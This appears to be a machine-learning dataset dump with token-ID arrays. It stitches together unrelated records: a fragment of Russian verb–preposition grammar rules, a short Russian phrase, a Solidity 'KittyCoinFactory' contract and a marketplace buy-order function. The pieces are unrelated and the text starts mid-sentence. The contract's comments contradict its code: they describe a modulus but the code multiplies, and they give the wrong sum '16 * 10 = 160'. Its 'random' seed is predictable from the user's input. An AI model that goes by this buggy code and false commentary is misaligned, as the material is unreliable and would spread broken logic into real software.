возвратил меня к прошлому. rus_verbs:поступить{}, // К нам поступила жалоба. rus_verbs:поступать{}, // К нам поступают жалобы. rus_verbs:прыгнуть{}, // Белка прыгнула к дереву rus_verbs:торопиться{}, // пассажиры торопятся к выходу rus_verbs:поторопиться{}, // поторопитесь к выходу rus_verbs:вернуть{}, // вернуть к активной жизни rus_verbs:припирать{}, // припирать к стенке rus_verbs:проваливать{}, // Проваливай ко всем чертям! rus_verbs:вбежать{}, // Коля вбежал ко мне rus_verbs:вбегать{}, // Коля вбегал ко мне глагол:забегать{ вид:несоверш }, // Коля забегал ко мне rus_verbs:постучаться{}, // Коля постучался ко мне. rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому rus_verbs:понести{}, // Мы понесли кота к ветеринару rus_verbs:принести{}, // Я принес кота к ветеринару rus_verbs:устремиться{}, // Мы устремились к ручью. rus_verbs:подводить{}, // Учитель подводил детей к аквариуму rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения. rus_verbs:пригласить{}, // Я пригласил к себе товарищей. rus_verbs:собираться{}, // Я собираюсь к тебе в гости. rus_verbs:собраться{}, // Маша собралась к дантисту rus_verbs:сходить{}, // Я схожу к врачу. rus_verbs:идти{}, // Маша уверенно шла к Пете rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию. rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию. rus_verbs:заканчивать{}, // Заканчивайте к обеду rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:окончить{}, // rus_verbs:дозвониться{}, // Я не мог к вам дозвониться. глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор rus_verbs:уйти{}, // Антонио ушел к Элеонор rus_verbs:бежать{}, // Антонио бежит к Элеонор rus_verbs:спешить{}, // Антонио спешит к Элеонор rus_verbs:скакать{}, // Антонио скачет к Элеонор rus_verbs:красться{}, // Антонио крадётся к Элеонор rus_verbs:поскакать{}, // беглецы поскакали к холмам rus_verbs:перейти{} // Антонио перешел к Элеонор } fact гл_предл { if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } } then return true } fact гл_предл { if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:к{} *:*{} } then return false,-5 } #endregion Предлог_К #region Предлог_ДЛЯ // ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ---------------------- wordentry_set Гл_ДЛЯ_Род={ частица:нет{}, // для меня нет других путей. частица:нету{}, rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ) rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ) rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться) rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ) rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ) rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ) rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ) rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ) rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ) rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ) rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ) rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ) rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ) rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ) rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ) rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ) rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ) rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ) rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ) rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ) rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ) rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ) rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ) rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ) rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ) rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ) rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ) rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ) прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ) rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ) rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ) rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ) rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ) rus_verbs:оставить{}, // или вообще решили оставить планету для себя rus_verbs:оставлять{}, rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ) rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ) rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ) rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ) rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ) rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ) rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ) rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ) rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для) rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ) rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ) rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ) rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ) rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ) прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ) прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ) прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ) rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ) rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ) rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ) rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ) rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ) rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ) rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ) rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ) rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ) rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ) rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ) rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ) прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ) rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ) rus_verbs:вывести{}, // мы специально вывели этих животных для мяса. rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для) rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ) rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ) rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ) rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ) rus_verbs:найтись{}, // у вас найдется для него работа? rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для) rus_verbs:заехать{}, // Коля заехал для обсуждения проекта rus_verbs:созреть{}, // созреть для побега rus_verbs:наметить{}, // наметить для проверки rus_verbs:уяснить{}, // уяснить для себя rus_verbs:нанимать{}, // нанимать для разовой работы rus_verbs:приспособить{}, // приспособить для удовольствия rus_verbs:облюбовать{}, // облюбовать для посиделок rus_verbs:прояснить{}, // прояснить для себя rus_verbs:задействовать{}, // задействовать для патрулирования rus_verbs:приготовлять{}, // приготовлять для проверки инфинитив:использовать{ вид:соверш }, // использовать для достижения цели инфинитив:использовать{ вид:несоверш }, глагол:использовать{ вид:соверш }, глагол:использовать{ вид:несоверш }, прилагательное:использованный{}, деепричастие:используя{}, деепричастие:использовав{}, rus_verbs:напрячься{}, // напрячься для решительного рывка rus_verbs:одобрить{}, // одобрить для использования rus_verbs:одобрять{}, // одобрять для использования rus_verbs:пригодиться{}, // пригодиться для тестирования rus_verbs:готовить{}, // готовить для выхода в свет rus_verbs:отобрать{}, // отобрать для участия в конкурсе rus_verbs:потребоваться{}, // потребоваться для подтверждения rus_verbs:пояснить{}, // пояснить для слушателей rus_verbs:пояснять{}, // пояснить для экзаменаторов rus_verbs:понадобиться{}, // понадобиться для обоснования инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, rus_verbs:найти{}, // Папа нашел для детей няню прилагательное:вредный{}, // Это вредно для здоровья. прилагательное:полезный{}, // Прогулки полезны для здоровья. прилагательное:обязательный{}, // Этот пункт обязателен для исполнения прилагательное:бесполезный{}, // Это лекарство бесполезно для него прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления rus_verbs:создать{}, // Он не создан для этого дела. прилагательное:сложный{}, // задача сложна для младших школьников прилагательное:несложный{}, прилагательное:лёгкий{}, прилагательное:сложноватый{}, rus_verbs:становиться{}, rus_verbs:представлять{}, // Это не представляет для меня интереса. rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка rus_verbs:пройти{}, // День прошёл спокойно для него. rus_verbs:проходить{}, rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ rus_verbs:высаживаться{}, rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца. rus_verbs:прибавить{}, rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов. rus_verbs:составлять{}, rus_verbs:стараться{}, // Я старался для вас rus_verbs:постараться{}, // Я постарался для вас rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста. rus_verbs:собраться{}, // собраться для обсуждения rus_verbs:собираться{}, // собираться для обсуждения rus_verbs:уполномочивать{}, rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров rus_verbs:принести{}, // Я принёс эту книгу для вас. rus_verbs:делать{}, // Я это делаю для удовольствия. rus_verbs:сделать{}, // Я сделаю это для удовольствия. rus_verbs:подготовить{}, // я подготовил для друзей сюрприз rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села rus_verbs:прибыть{} // они прибыли для участия } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } } then return true } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:для{} *:*{} } then return false,-4 } #endregion Предлог_ДЛЯ #region Предлог_ОТ // попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_ОТ_Род_Запр= { rus_verbs:наслаждаться{}, // свободой от обязательств rus_verbs:насладиться{}, rus_verbs:мочь{}, // Он не мог удержаться от смеха. // rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:чувствовать{}, // все время от времени чувствуют его. rus_verbs:планировать{}, rus_verbs:приняться{} // мы принялись обниматься от радости. } fact гл_предл { if context { Глаг_ОТ_Род_Запр предлог:от{} * } then return false } #endregion Предлог_ОТ #region Предлог_БЕЗ /* // запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_БЕЗ_Род_Запр= { rus_verbs:мочь{}, // Он мог читать часами без отдыха. rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:планировать{}, rus_verbs:приняться{} } fact гл_предл { if context { Глаг_БЕЗ_Род_Запр предлог:без{} * } then return false } */ #endregion Предлог_БЕЗ #region Предлог_КРОМЕ fact гл_предл { if context { * ПредлогДляВсе * } then return false,-5 } #endregion Предлог_КРОМЕ // ------------------------------------ // По умолчанию разрешаем все остальные сочетания. fact гл_предл { if context { * * * } then return true }
затихать в темноте
rus_verbs:затихать{},
5,481,735
[ 1, 145, 120, 145, 113, 146, 229, 145, 121, 146, 232, 145, 113, 146, 229, 146, 239, 225, 145, 115, 225, 146, 229, 145, 118, 145, 125, 145, 126, 145, 127, 146, 229, 145, 118, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 436, 407, 67, 502, 2038, 30, 145, 120, 145, 113, 146, 229, 145, 121, 146, 232, 145, 113, 146, 229, 146, 239, 2916, 16, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; import "./ownership/Ownable.sol"; /** * @title KittyCoinFactory * @author Nathan Glover * @notice KittyCoinClub contract is the main input to the this DApp, it controls the * supply of KittyCoins in circulation and other utilities perdinant to the contract a a whole */ contract KittyCoinFactory is Ownable { /* Events */ event NewKittyCoin(uint kittyCoinId, string name, uint coinSeed); // Used to generate the different types of KittyCoin. // uint equal to 10^16. use the modulus operator % // to shorten an integer to 16 digits. uint coinDigits = 16; uint seedModulus = 10 ** coinDigits; //TODO eventually instead of name, use the kitty donated to struct KittyCoin { string name; uint coinSeed; } // Public array of all KittyCoins KittyCoin[] public kittyCoins; /* Mappings */ mapping (uint => address) public kittyCoinToOwner; mapping (address => uint) ownerKittyCoinCount; /** * @notice generate the KittyCoin's safely * @param _name kitty name or identifier * @param _seed the generated seed */ function _createKittyCoin(string _name, uint _seed) internal { // 'id' is the index of the kittycoin in the array of kittycoins uint id = kittyCoins.push(KittyCoin(_name, _seed)) - 1; // assign the owner of the kittycoin to the sender kittyCoinToOwner[id] = msg.sender; // increment the total number of kittcoins owned for the sender ownerKittyCoinCount[msg.sender]++; // Send an event alerting the KittyCoins creation NewKittyCoin(id, _name, _seed); } //TODO decide if I want to allow an inital purchase of not /** * @notice Generates the random seed based on an input string * @param _str input seed for the randomly generated coin * @return a random seed */ function _generateRandomSeed(string _str) private view returns (uint) { // First gets the Keccak hash of our input string. // for example: Gracie // 7104ce976fa04688b15c4b9a9a675060a6add290ccb2a5e2fa8f4b4f98ea748f uint rand = uint(keccak256(_str)); // Then multiplies our hash by the seedModulus. In this case // its 16 * 10 = 160 // 7104ce976fa04688b15c4b9a9a675060a6add290ccb2a5e2fa8f4b4f98ea748f * 160 return rand * seedModulus; } /** * @notice Allows new-commers to generate their first * @param _name input seed for the randomly generated coin */ function createRandomKittyCoin(string _name) public { // Confirm that the owner doesn't have any kittycoins require(ownerKittyCoinCount[msg.sender] == 0); // the seed for the kittycoin is generated based on the input string uint randSeed = _generateRandomSeed(_name); // The cat is created by a private function _createKittyCoin(_name, randSeed); } }
* @title KittyCoinFactory @author Nathan Glover @notice KittyCoinClub contract is the main input to the this DApp, it controls the supply of KittyCoins in circulation and other utilities perdinant to the contract a a whole/ Used to generate the different types of KittyCoin. uint equal to 10^16. use the modulus operator % to shorten an integer to 16 digits.TODO eventually instead of name, use the kitty donated to
contract KittyCoinFactory is Ownable { event NewKittyCoin(uint kittyCoinId, string name, uint coinSeed); uint coinDigits = 16; uint seedModulus = 10 ** coinDigits; struct KittyCoin { string name; uint coinSeed; } mapping (address => uint) ownerKittyCoinCount; KittyCoin[] public kittyCoins; mapping (uint => address) public kittyCoinToOwner; function _createKittyCoin(string _name, uint _seed) internal { uint id = kittyCoins.push(KittyCoin(_name, _seed)) - 1; kittyCoinToOwner[id] = msg.sender; ownerKittyCoinCount[msg.sender]++; NewKittyCoin(id, _name, _seed); } function _generateRandomSeed(string _str) private view returns (uint) { uint rand = uint(keccak256(_str)); return rand * seedModulus; } function createRandomKittyCoin(string _name) public { require(ownerKittyCoinCount[msg.sender] == 0); uint randSeed = _generateRandomSeed(_name); _createKittyCoin(_name, randSeed); } }
15,864,960
[ 1, 14102, 4098, 27055, 1733, 225, 423, 421, 304, 611, 21896, 225, 1475, 305, 4098, 27055, 2009, 373, 6835, 353, 326, 2774, 810, 358, 326, 333, 463, 3371, 16, 518, 11022, 326, 14467, 434, 1475, 305, 4098, 39, 9896, 316, 5886, 1934, 367, 471, 1308, 22538, 1534, 72, 20030, 358, 326, 6835, 279, 279, 7339, 19, 10286, 358, 2103, 326, 3775, 1953, 434, 1475, 305, 4098, 27055, 18, 2254, 3959, 358, 1728, 66, 2313, 18, 999, 326, 24770, 3726, 738, 358, 19651, 392, 3571, 358, 2872, 6815, 18, 6241, 18011, 3560, 434, 508, 16, 999, 326, 31758, 4098, 2727, 690, 358, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1475, 305, 4098, 27055, 1733, 353, 14223, 6914, 288, 203, 203, 565, 871, 1166, 14102, 4098, 27055, 12, 11890, 31758, 4098, 27055, 548, 16, 533, 508, 16, 2254, 13170, 12702, 1769, 203, 203, 565, 2254, 13170, 9537, 273, 2872, 31, 203, 565, 2254, 5009, 1739, 17284, 273, 1728, 2826, 13170, 9537, 31, 203, 203, 565, 1958, 1475, 305, 4098, 27055, 288, 203, 3639, 533, 508, 31, 203, 3639, 2254, 13170, 12702, 31, 203, 565, 289, 203, 203, 203, 565, 2874, 261, 2867, 516, 2254, 13, 3410, 14102, 4098, 27055, 1380, 31, 203, 203, 565, 1475, 305, 4098, 27055, 8526, 1071, 31758, 4098, 39, 9896, 31, 203, 565, 2874, 261, 11890, 516, 1758, 13, 1071, 31758, 4098, 27055, 774, 5541, 31, 203, 565, 445, 389, 2640, 14102, 4098, 27055, 12, 1080, 389, 529, 16, 2254, 389, 12407, 13, 2713, 288, 203, 3639, 2254, 612, 273, 31758, 4098, 39, 9896, 18, 6206, 12, 14102, 4098, 27055, 24899, 529, 16, 389, 12407, 3719, 300, 404, 31, 203, 3639, 31758, 4098, 27055, 774, 5541, 63, 350, 65, 273, 1234, 18, 15330, 31, 203, 3639, 3410, 14102, 4098, 27055, 1380, 63, 3576, 18, 15330, 3737, 15, 31, 203, 3639, 1166, 14102, 4098, 27055, 12, 350, 16, 389, 529, 16, 389, 12407, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 7163, 8529, 12702, 12, 1080, 389, 701, 13, 3238, 1476, 1135, 261, 11890, 13, 288, 203, 3639, 2254, 5605, 273, 2254, 12, 79, 24410, 581, 5034, 24899, 701, 10019, 203, 3639, 327, 5605, 380, 5009, 1739, 17284, 31, 2 ]
./partial_match/100/0x4ec3e696100e01F98fF9E4Be3b00A84C571612FE/sources/MarketplaceController.sol
* @notice Make a buy order worth `@tokenAmount(_collateral, _depositAmount)` for atleast `@tokenAmount(self.token(): address, _minReturnAmountAfterFee)` @param _collateral The address of the collateral token to be spent @param _depositAmount The amount of collateral token to be deposited @param _minReturnAmountAfterFee The minimum amount of the returned bonded tokens/
function makeBuyOrder(address _collateral, uint256 _depositAmount, uint256 _minReturnAmountAfterFee) external payable authP(MAKE_BUY_ORDER_ROLE, arr(msg.sender)) { marketMaker.makeBuyOrder.value(msg.value)(msg.sender, _collateral, _depositAmount, _minReturnAmountAfterFee); }
16,666,553
[ 1, 6464, 279, 30143, 1353, 26247, 1375, 36, 2316, 6275, 24899, 12910, 2045, 287, 16, 389, 323, 1724, 6275, 22025, 364, 20098, 1375, 36, 2316, 6275, 12, 2890, 18, 2316, 13332, 1758, 16, 389, 1154, 990, 6275, 4436, 14667, 22025, 225, 389, 12910, 2045, 287, 1021, 1758, 434, 326, 4508, 2045, 287, 1147, 358, 506, 26515, 225, 389, 323, 1724, 6275, 1021, 3844, 434, 4508, 2045, 287, 1147, 358, 506, 443, 1724, 329, 225, 389, 1154, 990, 6275, 4436, 14667, 1021, 5224, 3844, 434, 326, 2106, 324, 265, 785, 2430, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
